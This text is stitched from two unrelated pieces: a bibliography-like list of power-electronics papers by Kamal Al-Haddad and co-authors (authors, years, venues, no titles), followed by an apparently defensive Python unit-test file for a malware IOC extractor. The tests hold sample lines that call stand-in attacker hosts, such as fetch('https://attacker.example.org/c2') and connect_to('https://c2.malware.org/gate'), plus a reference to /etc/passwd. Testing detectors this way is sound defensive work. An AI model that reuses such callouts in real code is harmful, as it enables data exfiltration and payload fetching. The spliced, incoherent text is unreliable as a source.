ICIT
Alireza Javadi, Abdelhamid Hamadi, Mohamed Haddad, Salem Rahmani, Kamal Al-Haddad
2015 C conf
IAS
Praveen Kumar Singh, Bhim Singh, Vashist Bist, Ambrish Chandra, Kamal Al-Haddad
2015 conf
ISIE
Youssef Ounejjar, Kamal Al-Haddad, Hani Vahedi
2015 C conf
IAS
Bhim Singh, Ikhlaq Hussain, Ambrish Chandra, Kamal Al-Haddad
2015 C conf
IAS
Jincy Philip, Chinmay Jain, Krishan Kant, Bhim Singh, Sukumar Mishra, Ambrish Chandra, Kamal Al-Haddad
2015 C conf
IAS
Shailendra Sharma, Bhim Singh, Ambrish Chandra, Kamal Al-Haddad
2015 conf
ICIT
Cédric Somers, Cynthia Moussa, Kamal Al-Haddad
2015 conf
ICIT
Mohamed Haddad, Salem Rahmani, Abdelhamid Hamadi, Alireza Javadi, Kamal Al-Haddad
2015 J jnl
IEEE Trans. Ind. Electron.
Mohammad Sharifzadeh, Hani Vahedi, Abdolreza Sheikholeslami, Philippe-Alexandre Labbe, Kamal Al-Haddad
2015 C conf
IECON
Ramón C. Portillo, Mohammad Sharifzadeh, Hani Vahedi, Leopoldo García Franquelo, Kamal Al-Haddad
2015 C conf
IECON
Mohamed Haddad, Salem Rahmani, Abdelhamid Hamadi, Kamal Al-Haddad
2015 J jnl
IEEE Trans. Ind. Electron.
Mahmoud Hamouda, Handy Fortin-Blanchette, Kamal Al-Haddad
2015 C conf
IECON
Mohammad Sleiman, Handy Fortin-Blanchette, Luc-André Grégoire, Hadi Youssef Kanaan, Kamal Al-Haddad
2015 conf
ICIT
Luc-André Grégoire, Mohammad Sleiman, Handy Fortin-Blanchette, Kamal Al-Haddad
2015 C conf
IECON
Hani Vahedi, Hadi Youssef Kanaan, Kamal Al-Haddad
2015 conf
SSD
Lazhar Rmili, Salem Rahmani, Kamal Al-Haddad
2015 C conf
IECON
Hadeed Ahmed Sher, Khaled E. Addoweesh, Kamal Al-Haddad
2015 J jnl
IEEE Trans. Ind. Electron.
Sayed Mohammad Mousavi Gazafrudi, Adel Tabakhpour Langerudy, Ewald F. Fuchs, Kamal Al-Haddad
2015 conf
ISIE
Mohammad Talel Chebbah, Hani Vahedi, Kamal Al-Haddad
2015 C conf
IECON
Hani Vahedi, Mohammad Sharifzadeh, Kamal Al-Haddad, Bogdan M. Wilamowski
2015 C conf
IECON
Hani Vahedi, Kamal Al-Haddad
2015 conf
ISIE
Lazhar Rmili, S. Rahmani, Kamal Al-Haddad
2015 C conf
IECON
Alireza Javadi, Abdelhamid Hamadi, Kamal Al-Haddad
2014 J jnl
IEEE Trans. Ind. Electron.
Salem Rahmani, Abdelhamid Hamadi, Kamal Al-Haddad, Louis-A. Dessaint
2014 J jnl
IEEE Trans. Ind. Electron.
Souleman Njoya Motapon, Louis-A. Dessaint, Kamal Al-Haddad
2014 J jnl
IEEE Trans. Ind. Electron.
Souleman Njoya Motapon, Louis-A. Dessaint, Kamal Al-Haddad
2014 conf
ISIE
Lazhar Rmili, Salem Rahmani, Hani Vahedi, Kamal Al-Haddad
2014 C conf
IECON
Hadeed A. Sher, Ali F. Murtaza, Khaled E. Addoweesh, Kamal Al-Haddad, Marcello Chiaberge
2014 C conf
IECON
Hani Vahedi, Kamal Al-Haddad, Hadi Youssef Kanaan
2014 conf
ISIE
Alireza Javadi, Kamal Al-Haddad
2014 conf
ISIE
Mohammad Sleiman, Ali Al Hage Ali, Handy Fortin-Blanchette, Kamal Al-Haddad, Bernhard Piepenbreier, Hadi Youssef Kanaan
2014 conf
ISIE
Hani Vahedi, Kamal Al-Haddad, Philippe-Alexandre Labbe, Salem Rahmani
2014 J jnl
IEEE Trans. Ind. Informatics
Bhim Singh, P. Jayaprakash, Dwarka P. Kothari, Ambrish Chandra, Kamal Al-Haddad
2014 J jnl
IEEE Trans. Ind. Electron.
Sabha Raj Arya, Bhim Singh, Ambrish Chandra, Kamal Al-Haddad
2014 C conf
IECON
Mohammad Sharifzadeh, Hani Vahedi, Abdolreza Sheikholeslami, Hoda Ghoreyshi, Kamal Al-Haddad
2014 C conf
IAS
Sabha Raj Arya, Krishan Kant, Ram Niwas, Bhim Singh, Ambrish Chandra, Kamal Al-Haddad
2014 C conf
IECON
Luc-André Grégoire, Handy Fortin-Blanchette, Kamal Al-Haddad, Wei Li, Jean Bélanger
2014 conf
ISIE
Mohammad Sharifzadeh, Hani Vahedi, Abdolreza Sheikholeslami, Hoda Ghoreishy, Kamal Al-Haddad
2014 C conf
IAS
Shailendra Sharma, Bhim Singh, Ambrish Chandra, Kamal Al-Haddad
2014 conf
ISIE
Alireza Javadi, Abdelhamid Hamadi, Kamal Al-Haddad
2014 J jnl
IEEE Trans. Ind. Electron.
Bachir Kedjar, Hadi Youssef Kanaan, Kamal Al-Haddad
2013 J jnl
Math. Comput. Simul.
Salem Rahmani, Abdelhamid Hamadi, Kamal Al-Haddad, Abdulrahman Ibrahim Alolah
2013 C conf
IECON
Bhim Singh, Sunil Kumar Dube, Sabha Raj Arya, Ambrish Chandra, Kamal Al-Haddad
2013 C conf
IECON
Abdelhamid Hamadi, Salem Rahmani, Khaled E. Addoweesh, Kamal Al-Haddad
2013 C conf
IECON
Ana B. M. Aguiar, Arezki Merkhouf, Kamal Al-Haddad
2013 conf
ISIE
K. Hsan, Lazhar Rmili, Salem Rahmani, Kamal Al-Haddad
2013 C conf
IECON
Catherine Nasr El-Khoury, Hadi Youssef Kanaan, Imad Mougharbel, Kamal Al-Haddad
2013 C conf
IAS
Bhim Singh, Ashish Shrivastava, Ambrish Chandra, Kamal Al-Haddad
2013 C conf
IECON
Hani Vahedi, Kamal Al-Haddad, Youssef Ounejjar, Khaled E. Addoweesh
2013 C conf
IECON
Hadi Youssef Kanaan, Cédric Somers, Kamal Al-Haddad
2013 J jnl
IEEE Trans. Ind. Informatics
Abdelhamid Hamadi, Salem Rahmani, Kamal Al-Haddad
2013 C conf
IAS
Bhim Singh, Sabha Raj Arya, Sunil Kumar Dube, Ambrish Chandra, Kamal Al-Haddad
2013 conf
ISIE
Hadi Youssef Kanaan, Kamal Al-Haddad, Maurice Fadel
2013 J jnl
Math. Comput. Simul.
Hadi Youssef Kanaan, Kamal Al-Haddad
2013 conf
ASCC
Mohammad Sleiman, Bachir Kedjar, Abdelhamid Hamadi, Kamal Al-Haddad, Hadi Youssef Kanaan
2013 C conf
IECON
Youssef Ounejjar, Kamal Al-Haddad
2013 C conf
IECON
Hani Vahedi, Salem Rahmani, Kamal Al-Haddad
2013 C conf
IAS
Shikha Singh, Bhim Singh, G. Bhuvaneswari, Vashist Bist, Ambrish Chandra, Kamal Al-Haddad
2013 C conf
IAS
Bhim Singh, Vashist Bist, Ambrish Chandra, Kamal Al-Haddad
2013 C conf
IAS
Raj Kumar, Bhim Singh, D. T. Shahani, Ambrish Chandra, Kamal Al-Haddad
2012 J jnl
IEEE Trans. Ind. Electron.
Salem Rahmani, Abdelhamid Hamadi, Kamal Al-Haddad
2012 C conf
IECON
Mohamed Haddad, Salem Rahmani, Farhat Fnaiech, Kamal Al-Haddad
2012 J jnl
IEEE Trans. Ind. Electron.
Youssef Ounejjar, Kamal Al-Haddad, Louis-A. Dessaint
2012 C conf
IECON
M. Reza Dehbozorgi, Hossein Madadi Kojabadi, Hani Vahedi, Kamal Al-Haddad
2012 C conf
IECON
Salem Rahmani, Abdelhamid Hamadi, Kamal Al-Haddad
2012 C conf
IECON
Salem Rahmani, Abdelhamid Hamadi, Kamal Al-Haddad, Hadi Youssef Kanaan
2012 C conf
IECON
M. Reza Dehbozorgi, Cédric Somers, Kamal Al-Haddad
2012 C conf
IECON
Abdelhamid Hamadi, Salem Rahmani, Auguste Ndtoungou, Kamal Al-Haddad, Hadi Youssef Kanaan
2012 C conf
IECON
Alireza Javadi, Handy Fortin Blanchette, Kamal Al-Haddad
2012 C conf
IECON
Alireza Javadi, Handy Fortin Blanchette, Kamal Al-Haddad
2012 conf
ISCCSP
Marc Aoun, Michel El-Maalouf, Najib Rouhana, Hadi Youssef Kanaan, Kamal Al-Haddad
2012 C conf
IECON
Sabha Raj Arya, Bhim Singh, Ambrish Chandra, Kamal Al-Haddad
2012 C conf
IECON
Youssef Ounejjar, Kamal Al-Haddad
2012 C conf
IECON
Hadi Youssef Kanaan, Maxime Caron, Kamal Al-Haddad
2012 conf
ISIE
Hadi Youssef Kanaan, Karen Aramouni, Juliano Naoufal, Kamal Al-Haddad
2012 C conf
IECON
François Ruelland, Kamal Al-Haddad
2012 C conf
IECON
Hani Vahedi, Ehsan Pashajavid, Kamal Al-Haddad
2012 C conf
IAS
Bhim Singh, Sabha Raj Arya, Ambrish Chandra, Kamal Al-Haddad
2012 C conf
IECON
Ana B. M. Aguiar, Arezki Merkhouf, Claude Hudon, Kamal Al-Haddad
2012 C conf
IECON
Neha Adhikari, Bhim Singh, Anoop Lal Vyas, Ambrish Chandra, Kamal Al-Haddad
2012 C conf
IECON
Bachir Kedjar, Kamal Al-Haddad
2012 conf
ISCCSP
Hadi Youssef Kanaan, Geoffrey Khalil, Kamal Geagea, Simon Abou Rida, Kamal Al-Haddad
2012 C conf
IECON
Alireza Javadi, Nicolas Geiss, Handy Fortin Blanchette, Kamal Al-Haddad
2012 C conf
IECON
Mohamed Hamdi, Mahmoud Hamouda, Farhat Fnaiech, Kamal Al-Haddad
2012 C conf
IECON
Hadi Youssef Kanaan, Kamal Al-Haddad, Salem Rahmani
2011 C conf
IAS
Parag Kanjiya, Bhim Singh, Ambrish Chandra, Kamal Al-Haddad
2011 J jnl
IEEE Trans. Ind. Electron.
Mahmoud Hamouda, Handy Fortin-Blanchette, Kamal Al-Haddad, Farhat Fnaiech
2011 C conf
IAS
Neha Adhikari, Bhim Singh, Anoop Lal Vyas, Ambrish Chandra, Kamal Al-Haddad
2011 J jnl
IEEE Trans. Ind. Informatics
Bhim Singh, Sanjeev Singh, Ambrish Chandra, Kamal Al-Haddad
2011 conf
CCECE
Bachir Kedjar, Kamal Al-Haddad
2011 J jnl
IEEE Trans. Ind. Electron.
Youssef Ounejjar, Kamal Al-Haddad, Luc-André Grégoire
2011 J jnl
IEEE Trans. Ind. Electron.
Charles J. Fallaha, Maarouf Saad, Hadi Youssef Kanaan, Kamal Al-Haddad
2010 J jnl
IEEE Trans. Ind. Electron.
Abdelhamid Hamadi, Salem Rahmani, Kamal Al-Haddad
2010 J jnl
Math. Comput. Simul.
Saïd Amarir, Kamal Al-Haddad
2010 J jnl
IEEE Trans. Ind. Electron.
Salem Rahmani, Nassar Mendalek, Kamal Al-Haddad
2010 J jnl
IEEE Trans. Ind. Electron.
Salem Rahmani, Nassar Mendalek, Kamal Al-Haddad
2010 J jnl
Math. Comput. Simul.
Amina N. Hamimi, François Ruelland, Kamal Al-Haddad
2010 J jnl
Math. Comput. Simul.
Xiaoping Tu, Louis-A. Dessaint, Roger Champagne, Kamal Al-Haddad
2009 J jnl
IEEE Trans. Ind. Electron.
Salem Rahmani, Abdelhamid Hamadi, Nassar Mendalek, Kamal Al-Haddad
2009 J jnl
IEEE Trans. Ind. Electron.
Bachir Kedjar, Kamal Al-Haddad
2008 J jnl
IEEE Trans. Ind. Electron.
Nesrine Bel Haj Youssef, Kamal Al-Haddad, Hadi Youssef Kanaan
2008 J jnl
IEEE Trans. Ind. Electron.
Nesrine Bel Haj Youssef, Kamal Al-Haddad, Hadi Youssef Kanaan
2008 J jnl
IEEE Trans. Ind. Electron.
Nesrine Bel Haj Youssef, Kamal Al-Haddad, Hadi Youssef Kanaan
2008 C conf
IAS
Nesrine Bel Haj Youssef, Kamal Al-Haddad, Hadi Youssef Kanaan
2008 J jnl
IEEE Trans. Ind. Electron.
Xiaoping Tu, Louis-A. Dessaint, Roger Champagne, Kamal Al-Haddad
2006 J jnl
Math. Comput. Simul.
Salem Rahmani, Kamal Al-Haddad, Hadi Youssef Kanaan
2006 J jnl
Math. Comput. Simul.
Hadi Youssef Kanaan, Kamal Al-Haddad, Farhat Fnaiech
2006 J jnl
IEEE Trans. Ind. Electron.
Loubna Yacoubi, Kamal Al-Haddad, Louis-A. Dessaint, Farhat Fnaiech
2006 J jnl
Math. Comput. Simul.
Louis-A. Dessaint, Kamal Al-Haddad
2006 conf
CCECE
François Ruelland, Kamal Al-Haddad
2005 J jnl
IEEE Trans. Ind. Electron.
Loubna Yacoubi, Kamal Al-Haddad, Farhat Fnaiech, Louis-A. Dessaint
2004 J jnl
IEEE Trans. Ind. Electron.
Bhim Singh, Brij N. Singh, Ambrish Chandra, Kamal Al-Haddad, Ashish Pandey, Dwarka P. Kothari
2004 J jnl
IEEE Trans. Ind. Electron.
Hadi Youssef Kanaan, Hugo Fortin-Blanchette, Kamal Al-Haddad, Rachid Chaffai, Louis Duguay, Farhat Fnaiech
2003 J jnl
IEEE Trans. Ind. Electron.
Bhim Singh, Brij N. Singh, Ambrish Chandra, Kamal Al-Haddad, Ashish Pandey, Dwarka P. Kothari
2003 J jnl
Math. Comput. Simul.
Hadi Youssef Kanaan, Kamal Al-Haddad, Gilles Roy
2003 J jnl
Math. Comput. Simul.
Louis-A. Dessaint, Kamal Al-Haddad
2003 J jnl
Math. Comput. Simul.
Loubna Yacoubi, Farhat Fnaiech, Louis-A. Dessaint, Kamal Al-Haddad
2002 conf
SMC (2)
Faiza Charfi, Bruno Francois, Mohamed Ben Messaoud, Kamal Al-Haddad, Fayçal Sellami
2000 conf
ICECS
Hadi Youssef Kanaan, Kamal Al-Haddad, Rachid Chaffai, Louis Duguay
1999 J jnl
IEEE Trans. Ind. Electron.
Louis-A. Dessaint, Kamal Al-Haddad, Hoang Le-Huy, Gilbert Sybille, Patrice Brunelle
1999 J jnl
IEEE Trans. Ind. Electron.
Bhim Singh, Kamal Al-Haddad, Ambrish Chandra
1996 J jnl
IEEE Trans. Ind. Electron.
Mohamed Chahine Ghanem, Kamal Al-Haddad, Gilles Roy
1994 J jnl
IEEE Trans. Ind. Electron.
Maarouf Saad, Pascal Bigras, Louis-A. Dessaint, Kamal Al-Haddad
1994 J jnl
IEEE Trans. Ind. Electron.
Ambrish Chandra, Louis-A. Dessaint, Maarouf Saad, Kamal Al-Haddad
1992 J jnl
IEEE Trans. Ind. Electron.
Louis-A. Dessaint, Maarouf Saad, Bernard Hébert, Kamal Al-Haddad
tests/unit/test_decompile_ioc_extractor.py
← Index tests/unit/test_decompile_ioc_extractor.py python
"""Unit tests for IOC extraction modules:
- ioc_extractor/ioc_extractor.py — IOCExtractorFromResults
- ioc_extractor/standalone_ioc_extractor.py — IOCScraper
"""
import pytest
from unittest.mock import MagicMock

from redb.extractors.ioc_extractor.standalone_ioc_extractor import (
    IOCScraper,
    IOCType,
    SourceType,
    ExtractedIOC,
)
from redb.extractors.ioc_extractor.ioc_extractor import IOCExtractorFromResults


# ============================================================================
# 8a. IOCExtractorFromResults
# ============================================================================

class TestIOCExtractorFromResults:
    def setup_method(self):
        self.log = MagicMock()

    def test_extract_from_strings(self):
        results = {
            "strings": [
                {"string": "Visit https://evil.com/payload", "string_offset": 0x100}
            ],
            "decompiled": [],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(ioc.ioc_type == IOCType.URL for ioc in iocs)

    def test_extract_from_decompiled(self):
        results = {
            "strings": [],
            "decompiled": [
                {
                    "decompiled_function": "connect_to('https://c2.malware.org/gate');",
                    "decompiled_function_hash": "hash123",
                    "function_type": "USER",
                }
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(ioc.ioc_type == IOCType.URL for ioc in iocs)

    def test_extract_skips_library_functions(self):
        results = {
            "strings": [],
            "decompiled": [
                {
                    "decompiled_function": "call https://should-skip.com",
                    "decompiled_function_hash": "lib_hash",
                    "function_type": "LIBRARY",
                },
                {
                    "decompiled_function": "jmp https://also-skip.com",
                    "decompiled_function_hash": "thunk_hash",
                    "function_type": "THUNK",
                },
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert len(iocs) == 0

    def test_extract_handles_bytes_strings(self):
        results = {
            "strings": [
                {"string": b"Visit https://evil.net/gate", "string_offset": 0}
            ],
            "decompiled": [],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(ioc.ioc_type == IOCType.URL for ioc in iocs)

    def test_extract_empty_results(self):
        results = {"strings": [], "decompiled": []}
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert len(iocs) == 0

    def test_extract_from_text_raw(self):
        """text_raw entries are scraped and tagged with SourceType.TEXT_RAW."""
        from redb.extractors.ioc_extractor.standalone_ioc_extractor import SourceType

        results = {
            "text_raw": [
                {
                    "content": "var x = fetch('https://attacker.example.org/c2');",
                    "content_hash": "rawhash",
                }
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(
            ioc.ioc_type == IOCType.URL and ioc.source_type == SourceType.TEXT_RAW
            for ioc in iocs
        )

    def test_extract_from_text_normalized(self):
        """text_normalized entries are scraped and tagged with TEXT_NORMALIZED.
        This is the surface that catches IOCs hidden behind eval(atob(...)) or
        similar wrappers — the deobfuscator unwraps them, this path scrapes
        the unwrapped form."""
        from redb.extractors.ioc_extractor.standalone_ioc_extractor import SourceType

        results = {
            "text_normalized": [
                {
                    "content": "fetch('http://hidden.example.com/payload');",
                    "content_hash": "normhash",
                }
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(
            ioc.ioc_type == IOCType.URL
            and ioc.source_type == SourceType.TEXT_NORMALIZED
            for ioc in iocs
        )

    def test_extract_text_surfaces_distinct_from_decompiled(self):
        """Same URL appearing in raw and normalized forms produces two IOCs
        with distinct source_type values, so analysts can tell them apart."""
        from redb.extractors.ioc_extractor.standalone_ioc_extractor import SourceType

        results = {
            "text_raw": [
                {"content": "https://shared.example.com/", "content_hash": "h1"}
            ],
            "text_normalized": [
                {"content": "https://shared.example.com/", "content_hash": "h2"}
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        kinds = {ioc.source_type for ioc in iocs if ioc.ioc_type == IOCType.URL}
        assert SourceType.TEXT_RAW in kinds
        assert SourceType.TEXT_NORMALIZED in kinds

    def test_prepare_export_clickhouse(self):
        results = {
            "strings": [
                {"string": "https://evil.com/test", "string_offset": 100}
            ],
            "decompiled": [],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        extractor.extract()
        export = extractor.prepare_export_data("ClickHouseExporter")
        assert export is not None
        data, col_names, col_types = export
        assert len(data) > 0
        assert len(col_names) == 6
        assert len(col_types) == 6

    def test_prepare_export_print(self):
        results = {
            "strings": [
                {"string": "https://evil.com/test", "string_offset": 100}
            ],
            "decompiled": [],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        extractor.extract()
        export = extractor.prepare_export_data("PrintExporter")
        assert isinstance(export, list)
        assert len(export) > 0
        assert "sha256" in export[0]
        assert "ioc_type" in export[0]

    def test_prepare_export_no_iocs(self):
        results = {"strings": [], "decompiled": []}
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        extractor.extract()
        export = extractor.prepare_export_data("ClickHouseExporter")
        assert export is None

    def test_get_clickhouse_table(self):
        results = {"strings": [], "decompiled": []}
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        assert extractor.get_clickhouse_table() == "redb_iocs"

    def test_tag(self):
        results = {"strings": [], "decompiled": []}
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        tag = extractor.tag()
        assert isinstance(tag, str)


# ============================================================================
# 8b. IOCScraper (standalone_ioc_extractor.py)
# ============================================================================

class TestIOCScraperIPv4:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_ipv4(self):
        # Use a routable public IP (not in RFC 5737 test ranges, not private)
        text = "Connect to 185.100.87.202 for command"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        ipv4_iocs = [i for i in iocs if i.ioc_type == IOCType.IPV4]
        assert len(ipv4_iocs) == 1
        assert ipv4_iocs[0].ioc_value == "185.100.87.202"

    def test_scrape_ipv4_private_excluded(self):
        text = "192.168.1.1 and 8.8.8.8"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        ipv4_iocs = [i for i in iocs if i.ioc_type == IOCType.IPV4]
        assert len(ipv4_iocs) == 0


class TestIOCScraperIPv6:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_ipv6(self):
        text = "Connect to 2001:0db8:85a3:0000:0000:8a2e:0370:7334"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        ipv6_iocs = [i for i in iocs if i.ioc_type == IOCType.IPV6]
        # 2001:0db8 is documentation range, but the regex may still match
        # we just check no crash and proper handling
        assert isinstance(ipv6_iocs, list)


class TestIOCScraperURL:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_url(self):
        text = 'load("https://evil.com/payload")'
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        url_iocs = [i for i in iocs if i.ioc_type == IOCType.URL]
        assert len(url_iocs) >= 1
        assert "evil.com" in url_iocs[0].ioc_value

    def test_scrape_defanged_url(self):
        text = "hxxps://evil[.]com/payload"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        url_iocs = [i for i in iocs if i.ioc_type == IOCType.URL]
        assert len(url_iocs) >= 1


class TestIOCScraperEmail:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_email(self):
        text = "Send report to [email protected] for review"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        email_iocs = [i for i in iocs if i.ioc_type == IOCType.EMAIL]
        assert len(email_iocs) >= 1
        assert email_iocs[0].ioc_value == "[email protected]"


class TestIOCScraperFQDN:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_fqdn(self):
        text = "Resolved evil.com in DNS lookup"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        fqdn_iocs = [i for i in iocs if i.ioc_type == IOCType.FQDN]
        assert any(ioc.ioc_value == "evil.com" for ioc in fqdn_iocs)

    def test_scrape_fqdn_excluded(self):
        text = "Visit example.com"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        fqdn_iocs = [i for i in iocs if i.ioc_type == IOCType.FQDN]
        assert not any(ioc.ioc_value == "example.com" for ioc in fqdn_iocs)


class TestIOCScraperJSContext:
    """Verifies the JS-context FQDN filter rejects JS object-access syntax
    that shape-matches a hostname while preserving real C2 hostnames.

    The corpus below comes from a real Vjw0rm-family screenshot showing 12
    'Domains' extracted from a JS sample of which only 2 were genuine. The
    filter must drop the 10 FPs and keep the 2 TPs.
    """

    def _scrape_fqdns(self, scraper, fragment: str):
        # Wrap each fragment in spaces so the FQDN regex's lookbehind succeeds
        # (the pre-token character is a non-identifier).
        text = f" {fragment} "
        return [
            ioc.ioc_value
            for ioc in scraper.scrape(text, SourceType.STRING, "test")
            if ioc.ioc_type == IOCType.FQDN
        ]

    def test_default_mode_keeps_legacy_behavior(self):
        """Without js_context=True the filter is dormant — every FQDN that
        the regex catches must still pass _validate_fqdn the same way it did
        before this change."""
        scraper = IOCScraper()  # js_context defaults to False
        assert self._scrape_fqdns(scraper, "process.id") == ["process.id"]
        assert self._scrape_fqdns(scraper, "lib.so") == ["lib.so"]
        assert self._scrape_fqdns(scraper, "system.net") == ["system.net"]

    def test_js_context_drops_fp_tlds(self):
        """gTLDs that double as common JS property suffixes (`.name`, `.id`,
        `.so`, `.post`, `.services`, `.tools`, ...) are rejected wholesale
        when js_context is set."""
        scraper = IOCScraper(js_context=True)
        # Each of these is in the screenshot and must be rejected purely on
        # the TLD blocklist (some also hit the SLD blocklist, but the TLD
        # check fires first).
        assert self._scrape_fqdns(scraper, "component.name") == []
        assert self._scrape_fqdns(scraper, "exploit.name") == []
        assert self._scrape_fqdns(scraper, "func.name") == []
        assert self._scrape_fqdns(scraper, "proc.name") == []
        assert self._scrape_fqdns(scraper, "process.name") == []
        assert self._scrape_fqdns(scraper, "lib.so") == []
        assert self._scrape_fqdns(scraper, "proc.id") == []
        assert self._scrape_fqdns(scraper, "http.post") == []
        assert self._scrape_fqdns(scraper, "this.sandboxindicators.services") == []

    def test_js_context_drops_fp_slds(self):
        """JS keywords / framework roots used as the leftmost segment of a
        dotted chain are rejected even when the TLD is legitimate (`system.net`
        is the canonical example: `.net` is a real TLD but `system` is never
        a hostname)."""
        scraper = IOCScraper(js_context=True)
        assert self._scrape_fqdns(scraper, "system.net") == []
        assert self._scrape_fqdns(scraper, "this.foo.com") == []
        assert self._scrape_fqdns(scraper, "process.config.json") == []
        assert self._scrape_fqdns(scraper, "vue.app") == []
        assert self._scrape_fqdns(scraper, "firebase.io") == []

    def test_js_context_preserves_real_c2(self):
        """The screenshot's two true positives must survive: protocol prefix
        SLDs (`ftp`, `smtp`) are intentionally NOT in JS_FP_SLDS so legitimate
        C2 / exfil hostnames keep flowing into the IOC table."""
        scraper = IOCScraper(js_context=True)
        assert self._scrape_fqdns(scraper, "ftp.syfrusvoid.com") == ["ftp.syfrusvoid.com"]
        assert self._scrape_fqdns(scraper, "smtp.gmail.com") == ["smtp.gmail.com"]
        # And a generic malware-style hostname (no TLD/SLD overlap with code)
        # still passes:
        assert self._scrape_fqdns(scraper, "evil-c2.example.org") == ["evil-c2.example.org"]


class TestIOCScraperOnion:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_onion(self):
        # v2 onion address (16 chars)
        text = "Connect to expyuzz4wqqyqhjn.onion"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        onion_iocs = [i for i in iocs if i.ioc_type == IOCType.ONION]
        assert len(onion_iocs) >= 1


class TestIOCScraperHashes:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_md5_hash(self):
        md5_val = "d41d8cd98f00b204e9800998ecf8427e"
        text = f"Hash: {md5_val}"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        md5_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_MD5]
        assert len(md5_iocs) == 1

    def test_scrape_sha1_hash(self):
        sha1_val = "da39a3ee5e6b4b0d3255bfef95601890afd80709"
        text = f"Hash: {sha1_val}"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        sha1_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_SHA1]
        assert len(sha1_iocs) == 1

    def test_scrape_sha256_hash(self):
        sha256_val = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
        text = f"Hash: {sha256_val}"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        sha256_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_SHA256]
        assert len(sha256_iocs) == 1

    def test_scrape_hash_dedup(self):
        # A SHA256 match should prevent the same hex being emitted as SHA1 substring
        sha256_val = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
        text = f"Hash: {sha256_val}"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        sha256_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_SHA256]
        sha1_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_SHA1]
        # SHA256 first 40 chars should not appear as separate SHA1
        assert len(sha256_iocs) >= 1
        first40 = sha256_val[:40]
        assert not any(ioc.ioc_value == first40 for ioc in sha1_iocs)

    def test_scrape_invalid_hash(self):
        # All zeros should be excluded
        text = "Hash: " + "0" * 32
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        hash_iocs = [i for i in iocs if i.ioc_type in (IOCType.HASH_MD5, IOCType.HASH_SHA1, IOCType.HASH_SHA256)]
        assert len(hash_iocs) == 0


class TestIOCScraperCVECWE:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_cve(self):
        text = "Exploiting CVE-2021-44228"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        cve_iocs = [i for i in iocs if i.ioc_type == IOCType.CVE]
        assert len(cve_iocs) == 1
        assert cve_iocs[0].ioc_value == "CVE-2021-44228"

    def test_scrape_cwe(self):
        text = "This is CWE-79 in action"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        cwe_iocs = [i for i in iocs if i.ioc_type == IOCType.CWE]
        assert len(cwe_iocs) == 1
        assert cwe_iocs[0].ioc_value == "CWE-79"


class TestIOCScraperCrypto:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_btc_address(self):
        # A valid-looking BTC P2PKH address
        text = "Send BTC to 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        btc_iocs = [i for i in iocs if i.ioc_type == IOCType.CRYPTO_BTC]
        assert len(btc_iocs) >= 1

    def test_scrape_eth_address(self):
        text = "ETH wallet: 0xde0B295669a9FD93d5F28D9Ec85E40f4cb697BAe"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        eth_iocs = [i for i in iocs if i.ioc_type == IOCType.CRYPTO_ETH]
        assert len(eth_iocs) >= 1


class TestIOCScraperPaths:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_linux_path(self):
        text = "Read config from /etc/passwd"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_LINUX]
        assert len(path_iocs) >= 1
